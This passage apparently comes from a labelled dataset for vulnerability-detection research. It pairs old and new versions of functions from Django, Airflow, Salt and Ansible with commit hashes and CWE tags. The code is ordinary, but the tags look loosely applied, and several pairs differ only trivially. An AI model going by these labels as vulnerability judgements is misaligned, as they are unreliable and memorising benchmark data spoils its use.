        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                    ""type"": new_type,
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,airflow/serialization/serialized_objects.py,1,"def _serialize_node(cls, op: Union[BaseOperator, MappedOperator], include_deps: bool) -> Dict[str, Any]:
        """"""Serializes operator into a JSON object.""""""
        serialize_op = cls.serialize_to_json(op, cls._decorated_fields)
        serialize_op['_task_type'] = getattr(op, ""_task_type"", type(op).__name__)
        serialize_op['_task_module'] = getattr(op, ""_task_module"", type(op).__module__)

        # Used to determine if an Operator is inherited from DummyOperator
        serialize_op['_is_dummy'] = op.inherits_from_dummy_operator

        if op.operator_extra_links:
            serialize_op['_operator_extra_links'] = cls._serialize_operator_extra_links(
                op.operator_extra_links
            )

        if include_deps:
            # Are the deps different to ""stock"", if so serialize the class names!
            # For Airflow 2.0 expediency we _only_ allow built in Dep classes.
            # Fix this for 2.0.x or 2.1
            deps = []
            for dep in op.deps:
                klass = type(dep)
                module_name = klass.__module__
                if not module_name.startswith(""airflow.ti_deps.deps.""):
                    assert op.dag  # for type checking
                    raise SerializationError(
                        f""Cannot serialize {(op.dag.dag_id + '.' + op.task_id)!r} with `deps` from non-core ""
                        f""module {module_name!r}""
                    )

                deps.append(f'{module_name}.{klass.__name__}')
            # deps needs to be sorted here, because op.deps is a set, which is unstable when traversing,
            # and the same call may get different results.
            # When calling json.dumps(self.data, sort_keys=True) to generate dag_hash, misjudgment will occur
            serialize_op['deps'] = sorted(deps)

        # Store all template_fields as they are if there are JSON Serializable
        # If not, store them as strings
        if op.template_fields:
            for template_field in op.template_fields:
                value = getattr(op, template_field, None)
                if not cls._is_excluded(value, template_field, op):
                    serialize_op[template_field] = serialize_template_field(value)

        if op.params:
            serialize_op['params'] = cls._serialize_params_dict(op.params)

        return serialize_op",CWE-703,apache/airflow,143702e15223682f5572e927daa5cb7a847a4119,"def _serialize_node(cls, op: Union[BaseOperator, MappedOperator], include_deps: bool) -> Dict[str, Any]:
        """"""Serializes operator into a JSON object.""""""
        serialize_op = cls.serialize_to_json(op, cls._decorated_fields)
        serialize_op['_task_type'] = getattr(op, ""_task_type"", type(op).__name__)
        serialize_op['_task_module'] = getattr(op, ""_task_module"", type(op).__module__)

        # Used to determine if an Operator is inherited from DummyOperator
        serialize_op['_is_dummy'] = op.inherits_from_dummy_operator

        if op.operator_extra_links:
            serialize_op['_operator_extra_links'] = cls._serialize_operator_extra_links(
                op.operator_extra_links
            )

        if include_deps:
            # Are the deps different to ""stock"", if so serialize the class names!
            # For Airflow 2.0 expediency we _only_ allow built in Dep classes.
            # Fix this for 2.0.x or 2.1
            deps = []
            for dep in op.deps:
                klass = type(dep)
                module_name = klass.__module__
                if not module_name.startswith(""airflow.ti_deps.deps.""):
                    assert op.dag  # for type checking
                    raise SerializationError(
                        f""Cannot serialize {(op.dag.dag_id + '.' + op.task_id)!r} with `deps` from non-core ""
                        f""module {module_name!r}""
                    )

                deps.append(f'{module_name}.{klass.__name__}')
            # deps needs to be sorted here, because op.deps is a set, which is unstable when traversing,
            # and the same call may get different results.
            # When calling json.dumps(self.data, sort_keys=True) to generate dag_hash, misjudgment will occur
            serialize_op['deps'] = sorted(deps)

        # Store all template_fields as they are if there are JSON Serializable
        # If not, store them as strings
        if op.template_fields:
            for template_field in op.template_fields:
                value = getattr(op, template_field, None)
                if not cls._is_excluded(value, template_field, op):
                    serialize_op[template_field] = serialize_template_field(value)

        if op.params:
            serialize_op['params'] = cls._serialize_params_dict(op.params)

        return serialize_op"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/security.py,0,"def __init__(self, appbuilder):
        super().__init__(appbuilder)

        # Go and fix up the SQLAInterface used from the stock one to our subclass.
        # This is needed to support the ""hack"" where we had to edit
        # FieldConverter.conversion_table in place in airflow.www.utils
        for attr in dir(self):
            if not attr.endswith('view'):
                continue
            view = getattr(self, attr, None)
            if not view or not getattr(view, 'datamodel', None):
                continue
            view.datamodel = CustomSQLAInterface(view.datamodel.obj)
        self.perms = None",CWE-Unknown,apache/airflow,cc35fcaf89eeff3d89e18088c2e68f01f8baad56,"def __init__(self, appbuilder):
        super().__init__(appbuilder)

        # Go and fix up the SQLAInterface used from the stock one to our subclass.
        # This is needed to support the ""hack"" where we had to edit
        # FieldConverter.conversion_table in place in airflow.www.utils
        for attr in dir(self):
            if not attr.endswith('view'):
                continue
            view = getattr(self, attr, None)
            if not view or not getattr(view, 'datamodel', None):
                continue
            view.datamodel = CustomSQLAInterface(view.datamodel.obj)
        self.perms = None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/api/common/trigger_dag.py,0,"def _trigger_dag(
    dag_id: str,
    dag_bag: DagBag,
    *,
    triggered_by: DagRunTriggeredByType,
    triggering_user_name: str | None = None,
    run_after: datetime | None = None,
    run_id: str | None = None,
    conf: dict | str | None = None,
    logical_date: datetime | None = None,
    replace_microseconds: bool = True,
    session: Session = NEW_SESSION,
) -> DagRun | None:
    """"""
    Triggers DAG run.

    :param dag_id: DAG ID
    :param dag_bag: DAG Bag model
    :param triggered_by: the entity which triggers the dag_run
    :param triggering_user_name: the user name who triggers the dag_run
    :param run_after: the datetime before which dag cannot run
    :param run_id: ID of the run
    :param conf: configuration
    :param logical_date: logical date of the run
    :param replace_microseconds: whether microseconds should be zeroed
    :return: list of triggered dags
    """"""
    dag = dag_bag.get_dag(dag_id, session=session)  # prefetch dag if it is stored serialized

    if dag is None or dag_id not in dag_bag.dags:
        raise DagNotFound(f""Dag id {dag_id} not found"")

    run_after = run_after or timezone.coerce_datetime(timezone.utcnow())
    coerced_logical_date: datetime | None = None
    if logical_date:
        if not timezone.is_localized(logical_date):
            raise ValueError(""The logical date should be localized"")

        if replace_microseconds:
            logical_date = logical_date.replace(microsecond=0)

        if dag.default_args and ""start_date"" in dag.default_args:
            min_dag_start_date = dag.default_args[""start_date""]
            if min_dag_start_date and logical_date < min_dag_start_date:
                raise ValueError(
                    f""Logical date [{logical_date.isoformat()}] should be >= start_date ""
                    f""[{min_dag_start_date.isoformat()}] from DAG's default_args""
                )
        coerced_logical_date = timezone.coerce_datetime(logical_date)
        data_interval = dag.timetable.infer_manual_data_interval(run_after=run_after)
    else:
        data_interval = None

    run_id = run_id or DagRun.generate_run_id(
        run_type=DagRunType.MANUAL,
        logical_date=coerced_logical_date,
        run_after=timezone.coerce_datetime(run_after),
    )

    # This intentionally does not use 'session' in the current scope because it
    # may be rolled back when this function exits with an exception (due to how
    # provide_session is implemented). This would make the DagRun object in the
    # DagRunAlreadyExists expire and unusable.
    if dag_run := DagRun.find_duplicate(dag_id=dag_id, run_id=run_id):
        raise DagRunAlreadyExists(dag_run)

    run_conf = None
    if conf:
        run_conf = conf if isinstance(conf, dict) else json.loads(conf)
    dag_run = dag.create_dagrun(
        run_id=run_id,
        logical_date=coerced_logical_date,
        data_interval=data_interval,
        run_after=run_after,
        conf=run_conf,
        run_type=DagRunType.MANUAL,
        triggered_by=triggered_by,
        triggering_user_name=triggering_user_name,
        state=DagRunState.QUEUED,
        session=session,
    )

    return dag_run",CWE-Unknown,apache/airflow,bd38225727abb6a0df3f4ea0e6fc68fa388f0632,"def _trigger_dag(
    dag_id: str,
    dag_bag: DagBag,
    *,
    triggered_by: DagRunTriggeredByType,
    triggering_user_name: str | None = None,
    run_after: datetime | None = None,
    run_id: str | None = None,
    conf: dict | str | None = None,
    logical_date: datetime | None = None,
    replace_microseconds: bool = True,
    session: Session = NEW_SESSION,
) -> DagRun | None:
    """"""
    Triggers DAG run.

    :param dag_id: DAG ID
    :param dag_bag: DAG Bag model
    :param triggered_by: the entity which triggers the dag_run
    :param triggering_user_name: the user name who triggers the dag_run
    :param run_after: the datetime before which dag cannot run
    :param run_id: ID of the run
    :param conf: configuration
    :param logical_date: logical date of the run
    :param replace_microseconds: whether microseconds should be zeroed
    :return: list of triggered dags
    """"""
    dag = dag_bag.get_dag(dag_id, session=session)  # prefetch dag if it is stored serialized

    if dag is None or dag_id not in dag_bag.dags:
        raise DagNotFound(f""Dag id {dag_id} not found"")

    run_after = run_after or timezone.coerce_datetime(timezone.utcnow())
    if logical_date:
        if not timezone.is_localized(logical_date):
            raise ValueError(""The logical date should be localized"")

        if replace_microseconds:
            logical_date = logical_date.replace(microsecond=0)

        if dag.default_args and ""start_date"" in dag.default_args:
            min_dag_start_date = dag.default_args[""start_date""]
            if min_dag_start_date and logical_date < min_dag_start_date:
                raise ValueError(
                    f""Logical date [{logical_date.isoformat()}] should be >= start_date ""
                    f""[{min_dag_start_date.isoformat()}] from DAG's default_args""
                )
        coerced_logical_date = timezone.coerce_datetime(logical_date)
        data_interval = dag.timetable.infer_manual_data_interval(run_after=run_after)
    else:
        coerced_logical_date = None
        data_interval = None

    run_id = run_id or DagRun.generate_run_id(
        run_type=DagRunType.MANUAL,
        logical_date=coerced_logical_date,
        run_after=timezone.coerce_datetime(run_after),
    )

    # This intentionally does not use 'session' in the current scope because it
    # may be rolled back when this function exits with an exception (due to how
    # provide_session is implemented). This would make the DagRun object in the
    # DagRunAlreadyExists expire and unusable.
    if dag_run := DagRun.find_duplicate(dag_id=dag_id, run_id=run_id):
        raise DagRunAlreadyExists(dag_run)

    run_conf = None
    if conf:
        run_conf = conf if isinstance(conf, dict) else json.loads(conf)
    dag_run = dag.create_dagrun(
        run_id=run_id,
        logical_date=coerced_logical_date,
        data_interval=data_interval,
        run_after=run_after,
        conf=run_conf,
        run_type=DagRunType.MANUAL,
        triggered_by=triggered_by,
        triggering_user_name=triggering_user_name,
        state=DagRunState.QUEUED,
        session=session,
    )

    return dag_run"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/qingcloud.py,0,"def avail_locations(call=None):
    '''
    Return a dict of all available locations on the provider with
    relevant data.

    CLI Examples:

    .. code-block:: bash

        salt-cloud --list-locations my-qingcloud
    '''
    if call == 'action':
        raise SaltCloudSystemExit(
            'The avail_locations function must be called with '
            '-f or --function, or with the --list-locations option'
        )

    params = {
        'action': 'DescribeZones',
    }
    items = query(params=params)

    result = {}
    for region in items['zone_set']:
        result[region['zone_id']] = {}
        for key in region:
            result[region['zone_id']][key] = str(region[key])

    return result",,saltstack/salt,10623f48bb1484b67cbc4161c4804befd51a0692,"def avail_locations(call=None):
    '''
    Return a dict of all available locations on the provider with
    relevant data.

    CLI Examples::

        salt-cloud --list-locations my-qingcloud
    '''
    if call == 'action':
        raise SaltCloudSystemExit(
            'The avail_locations function must be called with '
            '-f or --function, or with the --list-locations option'
        )

    params = {
        'action': 'DescribeZones',
    }
    items = query(params=params)

    result = {}
    for region in items['zone_set']:
        result[region['zone_id']] = {}
        for key in region:
            result[region['zone_id']][key] = str(region[key])

    return result"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/ec2_asg.py,0,"def elb_healthy(asg_connection, elb_connection, module, group_name):
    healthy_instances = []
    as_group = asg_connection.get_all_groups(names=[group_name])[0]
    props = get_properties(as_group)
    # get healthy, inservice instances from ASG
    instances = []
    for instance, settings in props['instance_facts'].items():
        if settings['lifecycle_state'] == 'InService' and settings['health_status'] == 'Healthy':
            instances.append(instance)
    log.debug(""ASG considers the following instances InService and Healthy: {0}"".format(instances))
    log.debug(""ELB instance status:"")
    for lb in as_group.load_balancers:
        # we catch a race condition that sometimes happens if the instance exists in the ASG
        # but has not yet show up in the ELB
        try:
            lb_instances = elb_connection.describe_instance_health(lb, instances=instances)
        except boto.exception.BotoServerError as e:
            if e.error_code == 'InvalidInstance':
                return None

            module.fail_json(msg=str(e))

        for i in lb_instances:
            if i.state == ""InService"":
                healthy_instances.append(i.instance_id)
            log.debug(""{0}: {1}"".format(i.instance_id, i.state))
    return len(healthy_instances)",,ansible/ansible,0b950510396f29f73c97c9a7b548b759d73c89e5,"def elb_healthy(asg_connection, elb_connection, module, group_name):
    healthy_instances = []
    as_group = asg_connection.get_all_groups(names=[group_name])[0]
    props = get_properties(as_group)
    # get healthy, inservice instances from ASG
    instances = []
    for instance, settings in props['instance_facts'].items():
        if settings['lifecycle_state'] == 'InService' and settings['health_status'] == 'Healthy':
            instances.append(instance)
    log.debug(""ASG considers the following instances InService and Healthy: {0}"".format(instances))
    log.debug(""ELB instance status:"")
    for lb in as_group.load_balancers:
        # we catch a race condition that sometimes happens if the instance exists in the ASG
        # but has not yet show up in the ELB
        try:
            lb_instances = elb_connection.describe_instance_health(lb, instances=instances)
        except boto.exception.InvalidInstance:
            pass
        for i in lb_instances:
            if i.state == ""InService"":
                healthy_instances.append(i.instance_id)
            log.debug(""{0}: {1}"".format(i.instance_id, i.state))
    return len(healthy_instances)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/modeltests/model_forms/tests.py,0,"def test_with_data(self):
        self.assertEqual(Category.objects.count(), 0)
        f = BaseCategoryForm({'name': 'Entertainment',
                              'slug': 'entertainment',
                              'url': 'entertainment'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['name'], 'Entertainment')
        self.assertEqual(f.cleaned_data['slug'], 'entertainment')
        self.assertEqual(f.cleaned_data['url'], 'entertainment')
        c1 = f.save()
        # Testing wether the same object is returned from the
        # ORM... not the fastest way...

        self.assertEqual(c1, Category.objects.all()[0])
        self.assertEqual(c1.name, ""Entertainment"")
        self.assertEqual(Category.objects.count(), 1)

        f = BaseCategoryForm({'name': ""It's a test"",
                              'slug': 'its-test',
                              'url': 'test'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['name'], ""It's a test"")
        self.assertEqual(f.cleaned_data['slug'], 'its-test')
        self.assertEqual(f.cleaned_data['url'], 'test')
        c2 = f.save()
        # Testing wether the same object is returned from the
        # ORM... not the fastest way...
        self.assertEqual(c2, Category.objects.get(pk=c2.pk))
        self.assertEqual(c2.name, ""It's a test"")
        self.assertEqual(Category.objects.count(), 2)

        # If you call save() with commit=False, then it will return an object that
        # hasn't yet been saved to the database. In this case, it's up to you to call
        # save() on the resulting model instance.
        f = BaseCategoryForm({'name': 'Third test', 'slug': 'third-test', 'url': 'third'})
        self.assertEqual(f.is_valid(), True)
        self.assertEqual(f.cleaned_data['url'], 'third')
        self.assertEqual(f.cleaned_data['name'], 'Third test')
        self.assertEqual(f.cleaned_data['slug'], 'third-test')
        c3 = f.save(commit=False)
        self.assertEqual(c3.name, ""Third test"")
        self.assertEqual(Category.objects.count(), 2)
        c3.save()
        self.assertEqual(Category.objects.count(), 3)

        # If you call save() with invalid data, you'll get a ValueError.
        f = BaseCategoryForm({'name': '', 'slug': 'not a slug!', 'url': 'foo'})
        self.assertEqual(f.errors['name'], ['This field is required.'])
        self.assertEqual(f.errors['slug'], [""Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.""])
        self.assertEqual(f.cleaned_data, {'url': 'foo'})
        with self.assertRaises(ValueError):
            f.save()
        f = BaseCategoryForm({'name': '', 'slug': '', 'url': 'foo'})
        with self.assertRaises(ValueError):
            f.save()

        # Create a couple of Writers.
        w_royko = Writer(name='Mike Royko')
        w_royko.save()
        w_woodward = Writer(name='Bob Woodward')
        w_woodward.save()
        # ManyToManyFields are represented by a MultipleChoiceField, ForeignKeys and any
        # fields with the 'choices' attribute are represented by a ChoiceField.
        f = ArticleForm(auto_id=False)
        self.assertHTMLEqual(six.text_type(f), '''<tr><th>Headline:</th><td><input type=""text"" name=""headline"" maxlength=""50"" /></td></tr>
<tr><th>Slug:</th><td><input type=""text"" name=""slug"" maxlength=""50"" /></td></tr>
<tr><th>Pub date:</th><td><input type=""text"" name=""pub_date"" /></td></tr>
<tr><th>Writer:</th><td><select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Mike Royko</option>
</select></td></tr>
<tr><th>Article:</th><td><textarea rows=""10"" cols=""40"" name=""article""></textarea></td></tr>
<tr><th>Categories:</th><td><select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select><br /><span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></td></tr>
<tr><th>Status:</th><td><select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></td></tr>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        # You can restrict a form to a subset of the complete list of fields
        # by providing a 'fields' argument. If you try to save a
        # model created with such a form, you need to ensure that the fields
        # that are _not_ on the form have default values, or are allowed to have
        # a value of None. If a field isn't specified on a form, the object created
        # from the form can't provide a value for that field!
        f = PartialArticleForm(auto_id=False)
        self.assertHTMLEqual(six.text_type(f), '''<tr><th>Headline:</th><td><input type=""text"" name=""headline"" maxlength=""50"" /></td></tr>
<tr><th>Pub date:</th><td><input type=""text"" name=""pub_date"" /></td></tr>''')

        # When the ModelForm is passed an instance, that instance's current values are
        # inserted as 'initial' data in each Field.
        w = Writer.objects.get(name='Mike Royko')
        f = RoykoForm(auto_id=False, instance=w)
        self.assertHTMLEqual(six.text_type(f), '''<tr><th>Name:</th><td><input type=""text"" name=""name"" value=""Mike Royko"" maxlength=""50"" /><br /><span class=""helptext"">Use both first and last names.</span></td></tr>''')

        art = Article(
                    headline='Test article',
                    slug='test-article',
                    pub_date=datetime.date(1988, 1, 4),
                    writer=w,
                    article='Hello.'
                )
        art.save()
        art_id_1 = art.id
        self.assertEqual(art_id_1 is not None, True)
        f = TestArticleForm(auto_id=False, instance=art)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""Test article"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" value=""test-article"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" value=""1988-01-04"" /></li>
<li>Writer: <select name=""writer"">
<option value="""">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"" selected=""selected"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article"">Hello.</textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))
        f = TestArticleForm({
                'headline': 'Test headline',
                'slug': 'test-headline',
                'pub_date': '1984-02-06',
                'writer': six.text_type(w_royko.pk),
                'article': 'Hello.'
            }, instance=art)
        self.assertEqual(f.errors, {})
        self.assertEqual(f.is_valid(), True)
        test_art = f.save()
        self.assertEqual(test_art.id == art_id_1, True)
        test_art = Article.objects.get(id=art_id_1)
        self.assertEqual(test_art.headline, 'Test headline')
        # You can create a form over a subset of the available fields
        # by specifying a 'fields' argument to form_for_instance.
        f = PartialArticleFormWithSlug({
                'headline': 'New headline',
                'slug': 'new-headline',
                'pub_date': '1988-01-04'
            }, auto_id=False, instance=art)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""New headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" value=""new-headline"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" value=""1988-01-04"" /></li>''')
        self.assertEqual(f.is_valid(), True)
        new_art = f.save()
        self.assertEqual(new_art.id == art_id_1, True)
        new_art = Article.objects.get(id=art_id_1)
        self.assertEqual(new_art.headline, 'New headline')

        # Add some categories and test the many-to-many form output.
        self.assertQuerysetEqual(new_art.categories.all(), [])
        new_art.categories.add(Category.objects.get(name='Entertainment'))
        self.assertQuerysetEqual(new_art.categories.all(), [""Entertainment""])
        f = TestArticleForm(auto_id=False, instance=new_art)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""New headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" value=""new-headline"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" value=""1988-01-04"" /></li>
<li>Writer: <select name=""writer"">
<option value="""">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"" selected=""selected"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article"">Hello.</textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"" selected=""selected"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        # Initial values can be provided for model forms
        f = TestArticleForm(
                auto_id=False,
                initial={
                    'headline': 'Your headline here',
                    'categories': [str(c1.id), str(c2.id)]
                })
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""Your headline here"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" /></li>
<li>Writer: <select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article""></textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"" selected=""selected"">Entertainment</option>
<option value=""%s"" selected=""selected"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        f = TestArticleForm({
                'headline': 'New headline',
                'slug': 'new-headline',
                'pub_date': '1988-01-04',
                'writer': six.text_type(w_royko.pk),
                'article': 'Hello.',
                'categories': [six.text_type(c1.id), six.text_type(c2.id)]
            }, instance=new_art)
        new_art = f.save()
        self.assertEqual(new_art.id == art_id_1, True)
        new_art = Article.objects.get(id=art_id_1)
        self.assertQuerysetEqual(new_art.categories.order_by('name'),
                         [""Entertainment"", ""It's a test""])

        # Now, submit form data with no categories. This deletes the existing categories.
        f = TestArticleForm({'headline': 'New headline', 'slug': 'new-headline', 'pub_date': '1988-01-04',
            'writer': six.text_type(w_royko.pk), 'article': 'Hello.'}, instance=new_art)
        new_art = f.save()
        self.assertEqual(new_art.id == art_id_1, True)
        new_art = Article.objects.get(id=art_id_1)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Create a new article, with categories, via the form.
        f = ArticleForm({'headline': 'The walrus was Paul', 'slug': 'walrus-was-paul', 'pub_date': '1967-11-01',
            'writer': six.text_type(w_royko.pk), 'article': 'Test.', 'categories': [six.text_type(c1.id), six.text_type(c2.id)]})
        new_art = f.save()
        art_id_2 = new_art.id
        self.assertEqual(art_id_2 not in (None, art_id_1), True)
        new_art = Article.objects.get(id=art_id_2)
        self.assertQuerysetEqual(new_art.categories.order_by('name'), [""Entertainment"", ""It's a test""])

        # Create a new article, with no categories, via the form.
        f = ArticleForm({'headline': 'The walrus was Paul', 'slug': 'walrus-was-paul', 'pub_date': '1967-11-01',
            'writer': six.text_type(w_royko.pk), 'article': 'Test.'})
        new_art = f.save()
        art_id_3 = new_art.id
        self.assertEqual(art_id_3 not in (None, art_id_1, art_id_2), True)
        new_art = Article.objects.get(id=art_id_3)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Create a new article, with categories, via the form, but use commit=False.
        # The m2m data won't be saved until save_m2m() is invoked on the form.
        f = ArticleForm({'headline': 'The walrus was Paul', 'slug': 'walrus-was-paul', 'pub_date': '1967-11-01',
            'writer': six.text_type(w_royko.pk), 'article': 'Test.', 'categories': [six.text_type(c1.id), six.text_type(c2.id)]})
        new_art = f.save(commit=False)

        # Manually save the instance
        new_art.save()
        art_id_4 = new_art.id
        self.assertEqual(art_id_4 not in (None, art_id_1, art_id_2, art_id_3), True)

        # The instance doesn't have m2m data yet
        new_art = Article.objects.get(id=art_id_4)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Save the m2m data on the form
        f.save_m2m()
        self.assertQuerysetEqual(new_art.categories.order_by('name'), [""Entertainment"", ""It's a test""])

        # Here, we define a custom ModelForm. Because it happens to have the same fields as
        # the Category model, we can just call the form's save() to apply its changes to an
        # existing Category instance.
        cat = Category.objects.get(name='Third test')
        self.assertEqual(cat.name, ""Third test"")
        self.assertEqual(cat.id == c3.id, True)
        form = ShortCategory({'name': 'Third', 'slug': 'third', 'url': '3rd'}, instance=cat)
        self.assertEqual(form.save().name, 'Third')
        self.assertEqual(Category.objects.get(id=c3.id).name, 'Third')

        # Here, we demonstrate that choices for a ForeignKey ChoiceField are determined
        # at runtime, based on the data in the database when the form is displayed, not
        # the data in the database when the form is instantiated.
        f = ArticleForm(auto_id=False)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" /></li>
<li>Writer: <select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article""></textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        c4 = Category.objects.create(name='Fourth', url='4th')
